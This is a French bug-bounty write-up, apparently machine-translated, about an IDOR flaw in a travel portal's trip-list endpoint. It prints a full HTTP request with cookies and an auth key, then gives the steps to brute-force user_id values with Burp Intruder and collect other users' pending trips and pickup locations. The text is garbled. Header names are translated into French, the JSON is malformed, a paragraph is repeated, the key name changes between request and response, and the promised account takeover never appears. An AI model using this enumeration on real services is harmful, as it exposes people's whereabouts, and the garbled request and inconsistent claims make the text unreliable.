IDOR divulguer les informations de voyage en attente de l'utilisateur | Partie 01

Dec 02 2022
Salut Amazing Hackers & Security Enthusiasts, aujourd'hui je vais écrire sur quelque chose de très important. L'identification des bogues IDOR qui conduisent à des prises de contrôle complètes du compte sans interaction de l'utilisateur est mon premier bogue IDOR.

Salut Amazing Hackers & Security Enthusiasts, aujourd'hui je vais écrire sur quelque chose de très important. L'identification des bogues IDOR qui conduisent à des prises de contrôle complètes du compte sans interaction de l'utilisateur est mon premier bogue IDOR.

Faisons un peu de contexte sur IDOR avant de sauter sur le bogue

IDOR (références d'objet directes non sécurisées)

Les références d'objet directes non sécurisées (IDOR) sont un type de vulnérabilité de contrôle d'accès qui survient lorsqu'une application utilise une entrée fournie par l'utilisateur pour accéder directement aux objets. Les vulnérabilités IDOR sont le plus souvent associées à une élévation horizontale des privilèges, mais elles peuvent également survenir en relation avec une élévation verticale des privilèges.

Alors, appelons la cible comme cible.com. J'ai commencé avec le Recon sur le domaine principal. Maintenant, après Recon, j'ai commencé à comprendre comment l'application fonctionnait. Ouvrez simplement le Burp. et commencer à analyser l'application comment elle fonctionne, comment elle traite la demande, voir quelles méthodes sont autorisées. analyser le code source pour toute clé d'API secrète, ou tout jeton, ou points de terminaison.

Je regarde et j'utilise certaines fonctionnalités comme mettre à jour le profil, télécharger l'image du profil et changer le mot de passe sans l'ancien mot de passe, et surveiller chaque demande et réponse à l'aide de burp.

Bogue 01 : IDOR divulgue les informations de voyage en attente de l'utilisateur .

Je planifie un voyage et après cela, je fais une demande pour obtenir des informations sur mon voyage. donc la demande ressemble

/target-dev/index.php/UserPortal/Trip/tripListByUser

Demander l'apparence

POST /targetservice-dev/index.php/UserPortal/Trip/tripListByUser HTTP/1.1

Hébergeur : app.target.com

Cookie : _ga_4FPFRN1P35=GS1.1.1669338233.4.0.1669338233.0.0.0 ; _ga=GA1.1.749545081.1669213744 ; bfp_sn_rf_b10ce94cf299b167b74a6944e0aec9d4=Direct ; bfp_sn_rt_b10ce94cf299b167b74a6944e0aec9d4=1669215441778 ; ci_session=4rk74md1hpc0hrac5dfv3li2av

Agent utilisateur : Mozilla/5.0 (X11 ; Linux x86_64 ; rv : 91.0) Gecko/20100101 Firefox/91.0

Accepter : application/json, text/plain, */*

Accept-Langue : en-US,en;q=0.5

Accept-Encoding : gzip, deflate

Type de contenu : application/x-www-form-urlencoded

Longueur du contenu : 59

Origine : https://app.target.com

Référent : https://app.target.com/target-user-portal/

Sec-Fetch-Dest : vide

Sec-Fetch-Mode : cors

Sec-Fetch-Site : même origine

Te : remorques

Connexion : fermer

{"user_id":"1654",,"status":"en attente",," T ARGETAUTHKEY":8342}

Maintenant, notez que les deux choses La première est T ARGETAUTHKEY et la seconde est "user_id":"1654".

envoyez cette demande au répéteur et voyez la réponse que vous obtenez les informations sur les informations de voyage en attente.

Maintenant, après cela, envoyez la demande à l'intrus et forcez le "user_id" et la charge utile est le numéro de début de 0000 à 9999 et la séquence est 1. cliquez sur Démarrer l'attaque. Et présélectionnez la demande et la réponse sur la longueur Booom vous obtenez d'autres informations de voyage en attente d'utilisateur avec divulguer l'identifiant de l'utilisateur et l'emplacement de sélection et de dépôt de l'utilisateur.

Ressembler à la réponse

{“user_id”:”418”,,”status”:”pending”,,”LOADMEEAUTHKEY”:8012, Trip_Id:XXXX, Tripe_location: “user pick data”, Tripe_destination: “trip drop location”, Essitemate_total:35000}

Et donc cette réponse révèle les deux choses

  1. enregistrer l'ID utilisateur et l'emplacement
  2. Données de trajet

Joyeux piratage